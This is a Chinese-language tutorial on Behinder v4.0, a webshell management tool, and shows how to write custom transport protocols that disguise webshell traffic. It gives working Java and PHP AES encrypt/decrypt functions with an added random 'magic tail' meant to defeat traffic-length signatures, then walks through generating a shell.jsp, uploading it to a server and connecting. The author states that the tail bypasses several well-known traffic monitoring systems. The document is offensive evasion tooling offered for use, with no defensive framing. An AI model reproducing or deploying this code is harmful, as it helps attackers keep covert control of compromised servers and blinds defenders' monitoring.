冰蝎v4.0相对于3.0版本,更新了较多内容,其中包括了开放了传输协议的自定义功能,本文将基于Behinder v4.0.4对自定义传输协议模块进行简单的介绍。
在流量层,冰蝎的aes特征一直是厂商查杀的重点,在主机层,aes相关的API也是一个强特征。既然是特征,那就一定存在一个一成不变的常量,那我们就把这个特征泛化一下,让他成为变量。为了一劳永逸解决这个问题,v4.0版本提供了传输协议自定义功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。v4.0版本不再有连接密码的概念,你的自定义传输协议的算法就是连接密码。
首先看一下冰蝎Payload流转的流程图:
由上述流程可知,一个完整的传输协议由两部分组成,本地协议和远程协议。由于客户端使用Java开发,因此本地协议的加解密算法需要用Java实现。远程协议根据服务端语言类型,可能为Java、PHP、C#、ASP。无论用哪种语言,同一个名称的传输协议,本地和远程的加解密逻辑应该是一致的,这样才能实现本地加密后,远程可以成功解密,远程加密后,本地同样也可以解密(因此如果修改默认的aes协议的key,则需要同时修改本地和远程的加密函数和加密函数中的key)。
一个传输协议必须包含一对本地加解密函数,至少包含一对远程加解密函数(Java、PHP、C#、ASP中的一个或者多个)。
由于本地是Java,因此本地加解密函数会默认作为远程Java版本的加解密函数。
如下是一个最简单的php版本的传输协议:
传输协议的加解密函数名称分别为Encrypt和Decrypt,且都只有一个入参,参数类型为二进制字节流。在函加密数体内可以对字节流做任何加密,比如aes、rsa或者各种封装、拼接、自定义算法等等,最终将加密结果返回。在解密函数中利用对称算法将加密函数的结果进行解密,并将解密结果返回。为了能清晰展示传输协议的结构,上图中的传输协议其实未做任何加解密处理,直接将入参返回,是一个纯明文的传输协议。
简单的demo介绍完了,下面来一个真实有用的例子。假设如下场景:服务端是PHP,使用默认的aes算法,但是由于默认使用的是aes128的算法,会导致密文长度恒是16的整数倍,流量设备可能通过这个特征来对冰蝎做流量识别,我现在想对默认算法做一个简单修改,在密文最后最加一个magic尾巴,随机产生一个随机长度的额外字节数组,实现如下:
private byte[] getMagic() throws Exception {
String key="e45e329feb5d925b";
int magicNum=Integer.parseInt(key.substring(0,2),16)%16;
Random random=new Random();
byte[] buf=new byte[magicNum];
for (int i=0;i<buf.length;i++)
{
buf[i]=(byte)random.nextInt(256);
}
return buf;
}
然后我们把这段代码加入到我们的传输协议里面。
本地默认的aes传输协议加密算法如下:
private byte[] Encrypt(byte[] data) throws Exception
{
String key="e45e329feb5d925b";
byte[] raw = key.getBytes("utf-8");
javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"
cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
byte[] encrypted = cipher.doFinal(data);
Class baseCls;
try
{
baseCls=Class.forName("java.util.Base64");
Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
}
catch (Throwable error)
{
baseCls=Class.forName("sun.misc.BASE64Encoder");
Object Encoder=baseCls.newInstance();
String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
result=result.replace("\n", "").replace("\r", "");
encrypted=result.getBytes();
}
return encrypted;
}
修改后:
private byte[] Encrypt(byte[] data) throws Exception
{
String key="e45e329feb5d925b";
byte[] raw = key.getBytes("utf-8");
javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"
cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
byte[] encrypted = cipher.doFinal(data);
Class baseCls;
try
{
baseCls=Class.forName("java.util.Base64");
Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
}
catch (Throwable error)
{
baseCls=Class.forName("sun.misc.BASE64Encoder");
Object Encoder=baseCls.newInstance();
String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
result=result.replace("\n", "").replace("\r", "");
encrypted=result.getBytes();
}
//增加魔法尾巴
int magicNum=Integer.parseInt(key.substring(0,2),16)%16;
java.util.Random random=new java.util.Random();
byte[] buf=new byte[magicNum];
for (int i=0;i<buf.length;i++)
{
buf[i]=(byte)random.nextInt(256);
}
java.io.ByteArrayOutputStream output = new java.io.ByteArrayOutputStream();
output.write(encrypted);
output.write(buf);
return output.toByteArray();
}
由于我们目前假设的是一个PHP的目标环境,远程加密函数采用PHP格式编写,如下:
function Encrypt($data)
{
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));
$magicNum=hexdec(substr($key,0,2))%16; //根据密钥动态确定魔法尾巴的长度
for($i=0;$i<$magicNum;$i++)
{
$encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴
}
return $encrypted;
}
在加密算法中,我们在原版aes的基础上,在密文最后追加了一段魔法尾巴,尾巴长度为秘钥的前两位十六进制对应的数值对16取模的值。在解密时,我们只需要在原版aes解密函数的基础上,把密文最后的尾巴截掉即可。分别对Java版本和PHP版本的解密函数做修改。
private byte[] Decrypt(byte[] data) throws Exception
{
String k="e45e329feb5d925b";
int magicNum=Integer.parseInt(k.substring(0,2),16)%16; //取magic tail长度
data=java.util.Arrays.copyOfRange(data,0,data.length-magicNum); //截掉magic tail
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
}
catch (Throwable e)
{
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder=baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)}); }
return c.doFinal(decodebs);
}
对应的php版本如下:
function Decrypt($data)
{
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$magicNum=hexdec(substr($key,0,2))%16; //取magic tail长度
$data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail
return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
}
把本地加解密函数输入到本地Tab里面,如下:
图 3
单击“保存”后,冰蝎会对加解密函数对进行一致性校验,校验通过提示保存成功,校验失败会弹框提示,确认后仍可继续保存。
把远程加解密函数输入到远程Tab里面,如下:
为了方便加解密一致性校验,冰蝎提供了即时加解密验证功能,输入加解密函数以后,可直接在窗口下方进行验证。
在第一个文本框随意输入一段明文,点击加密,冰蝎后台会对当前加密函数进行动态编译并执行,然后将加密结果显示在第二个文本框,如下图:
同样地,点击解密,冰蝎后台会对当前解密函数进行动态编译并执行,将第二个文本框中的密文解密,然后将解密结果显示在第二个文本框,如下图:
提示:为了对服务端可能存在的老版本Java保持更好的兼容性,建议在开发时不要使用太新的语法,如lamda表达式等。
因为本地的加解密是用Java语言编写,因此可以使用本机的Java环境进行动态编译、执行、验证。而远程的加解密函数可能是C#或者PHP等语言开发的,是不是就不好即时验证了呢?当然不是,记得我们的客户端有个Eval自定义码执行的功能,此处我们可以复用该模块进行加解密函数验证。
比如我要验证PHP版本的加解密函数,只要先在shell列表中添加一个可成功连接的php shell,然后验证的时候选择该shell即可。冰蝎会在后端连接该shell,并将加解密代码以自定义代码的形式发送至远程服务器进行执行、验证,如下图:
如果输入的明文与经过加密再解密后,得到的内容一致,那说明该传输协议的加解密是一致的。
到此,aes_with_magic这个传输协议的Java版本和PHP版本就开发完毕了。
可以注意到,冰蝎v4.0版本没有再附带server端代码,因为加解密函数是不固定的,因此服务端也是动态生成的。首先在“协议名称”中选中我们的服务端需要使用的传输协议,点击“生成服务端”,即可生成,如下:
将shell.jsp上传至服务器,然后新增shell,传输协议选择aes_with_magic,如下:
连接成功:
抓包可以看到请求和响应体中,都在密文最后增加了一个尾巴,如下:
这几个字节的尾巴有什么用呢?实际上,这几个字节的尾巴,可以绕过几大知名流量监测系统:)
如果你开发了一个私有的加解密算法后,并且他也可以很好的绕过流量监测,那你可以通过“分享”按钮将传输协议分享给你的团队,提高工作效率。
以上通过一个实例对冰蝎v4.0的自定义传输协议功能做了一个简略的介绍,你可以自己发挥无限想象,来开发自己的私有传输协议,比如封装成图片、JSON、文档、HTML、XML等等。